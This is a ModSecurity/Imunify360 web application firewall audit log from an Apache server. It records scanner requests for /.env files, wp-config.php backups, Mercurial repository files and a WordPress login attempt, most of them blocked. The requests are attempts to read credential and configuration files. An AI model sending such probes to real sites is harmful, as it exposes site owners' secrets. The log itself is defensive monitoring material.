Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "default-81-180-250-39"] [uri "/"] [unique_id "aqaLcEwu1RSkptiiNIX8hwAAAJg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/nuntiinsibiu.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789299568467570 551932 (- - -)
Stopwatch2: 1789299568467570 551932; combined=9994, p1=567, p2=9250, p3=111, p4=9, p5=57, sr=234, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c3e07051-Z--
--944fe267-A--
[13/Sep/2026:15:03:32.275678 +0300] aqaRFEwu1RSkptiiNIX83AAAAJQ 162.243.61.206 38328 127.0.0.1 7081
--944fe267-B--
GET /.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 162.243.61.206
X-Accel-Internal: /internal-nginx-static-location
Sec-Ch-Ua: "Chromium";v="142", "Google Chrome";v="142", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Cache-Control: max-age=0
--944fe267-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--944fe267-E--
--944fe267-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqaRFEwu1RSkptiiNIX83AAAAJQ"]
Stopwatch: 1789301012263667 12132 (- - -)
Stopwatch2: 1789301012263667 12132; combined=6624, p1=393, p2=6061, p3=103, p4=11, p5=56, sr=226, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--944fe267-Z--
--859e352d-A--
[13/Sep/2026:15:04:28.135097 +0300] aqaRTGM7dE9KgIIOpQh9UAAAANY 111.230.241.169 58026 127.0.0.1 7081
--859e352d-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--859e352d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--859e352d-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-04.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqaRTGM7dE9KgIIOpQh9UAAAANY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-04.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqaRTGM7dE9KgIIOpQh9UAAAANY"]
Action: Intercepted (phase 2)
Stopwatch: 1789301068071751 63401 (- - -)
Stopwatch2: 1789301068071751 63401; combined=61974, p1=355, p2=58772, p3=0, p4=0, p5=2847, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--859e352d-Z--
--734bcc2d-A--
[13/Sep/2026:15:04:37.190908 +0300] aqaRVWM7dE9KgIIOpQh9UQAAAMo 111.230.241.169 36212 127.0.0.1 7081
--734bcc2d-B--
GET /wp-config.php~ HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--734bcc2d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--734bcc2d-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-04.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqaRVWM7dE9KgIIOpQh9UQAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-04.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqaRVWM7dE9KgIIOpQh9UQAAAMo"]
Action: Intercepted (phase 2)
Stopwatch: 1789301077129830 61334 (- - -)
Stopwatch2: 1789301077129830 61334; combined=59034, p1=455, p2=57692, p3=0, p4=0, p5=887, sr=215, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--734bcc2d-Z--
--abc5e663-A--
[13/Sep/2026:15:08:24.556473 +0300] aqaSODTJ6xTvcJoem7f9LAAAAFA 111.230.241.169 45914 127.0.0.1 7081
--abc5e663-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--abc5e663-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--abc5e663-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-08.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqaSODTJ6xTvcJoem7f9LAAAAFA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-08.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqaSODTJ6xTvcJoem7f9LAAAAFA"]
Action: Intercepted (phase 2)
Stopwatch: 1789301304493910 62606 (- - -)
Stopwatch2: 1789301304493910 62606; combined=61253, p1=230, p2=60693, p3=0, p4=0, p5=330, sr=100, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--abc5e663-Z--
--1e0b197c-A--
[13/Sep/2026:15:08:54.138431 +0300] aqaSVmM7dE9KgIIOpQh9XgAAANc 111.230.241.169 34386 127.0.0.1 7081
--1e0b197c-B--
GET /wp-config.php.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--1e0b197c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--1e0b197c-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-08.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqaSVmM7dE9KgIIOpQh9XgAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-08.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqaSVmM7dE9KgIIOpQh9XgAAANc"]
Action: Intercepted (phase 2)
Stopwatch: 1789301334079010 59476 (- - -)
Stopwatch2: 1789301334079010 59476; combined=58023, p1=234, p2=57494, p3=0, p4=0, p5=295, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1e0b197c-Z--
--0f9d3736-A--
[13/Sep/2026:15:08:58.420331 +0300] aqaSWkwu1RSkptiiNIX85QAAAIU 111.230.241.169 42582 127.0.0.1 7081
--0f9d3736-B--
GET /wp-config.php.old HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--0f9d3736-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--0f9d3736-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-08.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqaSWkwu1RSkptiiNIX85QAAAIU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-08.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqaSWkwu1RSkptiiNIX85QAAAIU"]
Action: Intercepted (phase 2)
Stopwatch: 1789301338359772 60607 (- - -)
Stopwatch2: 1789301338359772 60607; combined=59191, p1=2295, p2=56546, p3=0, p4=0, p5=350, sr=146, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0f9d3736-Z--
--9630287a-A--
[13/Sep/2026:15:09:32.625307 +0300] aqaSfEwu1RSkptiiNIX86AAAAJM 46.163.38.77 33990 127.0.0.1 7081
--9630287a-B--
POST /wp-login.php HTTP/1.1
Host: ajutam.ro
X-Real-IP: 46.163.38.77
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
Pragma: no-cache
Origin: https://ajutam.ro
sec-ch-ua-platform: "macOS"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"
sec-ch-ua-mobile: ?0
Content-Type: application/x-www-form-urlencoded
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://ajutam.ro/wp-login.php
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: ru-RU,ru;q=0.9
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_test_cookie=WP+Cookie+check
Priority: u=0, i
Upgrade-Insecure-Requests: 1
--9630287a-F--
HTTP/1.1 403 Forbidden
Last-Modified: Fri, 01 May 2020 21:00:27 GMT
ETag: "31b-5a49c787f10c0"
Accept-Ranges: bytes
Content-Length: 795
Content-Type: text/html
--9630287a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/003_i360_2_bruteforce.conf"] [line "196"] [id "33303"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:15-09.46.163.38.77"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789301372559272 66128 (- - -)
Stopwatch2: 1789301372559272 66128; combined=65483, p1=441, p2=60195, p3=0, p4=0, p5=2564, sr=144, sw=2283, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9630287a-Z--
--e423ce25-A--
[13/Sep/2026:15:09:34.292053 +0300] aqaSfkwu1RSkptiiNIX86QAAAJQ 111.230.241.169 33992 127.0.0.1 7081
--e423ce25-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--e423ce25-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--e423ce25-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-09.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqaSfkwu1RSkptiiNIX86QAAAJQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-09.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqaSfkwu1RSkptiiNIX86QAAAJQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789301374233782 58313 (- - -)
Stopwatch2: 1789301374233782 58313; combined=57063, p1=327, p2=56274, p3=0, p4=0, p5=462, sr=156, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e423ce25-Z--
--242fe22f-A--
[13/Sep/2026:15:09:37.706482 +0300] aqaSgTTJ6xTvcJoem7f9MgAAAEI 111.230.241.169 39182 127.0.0.1 7081
--242fe22f-B--
GET /.env HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--242fe22f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--242fe22f-E--
--242fe22f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "axapres.ro"] [uri "/.env"] [unique_id "aqaSgTTJ6xTvcJoem7f9MgAAAEI"]
Stopwatch: 1789301377699555 6992 (- - -)
Stopwatch2: 1789301377699555 6992; combined=5392, p1=345, p2=4885, p3=99, p4=10, p5=53, sr=141, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--242fe22f-Z--
--4bde4a5b-A--
[13/Sep/2026:15:11:11.167212 +0300] aqaS32M7dE9KgIIOpQh9aQAAAMg 111.230.241.169 55814 127.0.0.1 7081
--4bde4a5b-B--
GET /.hg/store/00manifest.i HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--4bde4a5b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--4bde4a5b-H--
Message: Warning. Matched phrase ".hg/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.hg/store/00manifest.i||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-11.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".hg/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.hg/store/00manifest.i||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.hg/store/00manifest.i"] [unique_id "aqaS32M7dE9KgIIOpQh9aQAAAMg"]
